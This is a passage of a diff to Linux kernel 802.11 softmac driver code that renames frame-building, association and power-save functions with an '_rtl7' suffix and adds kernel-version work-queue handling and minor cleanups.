*tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + 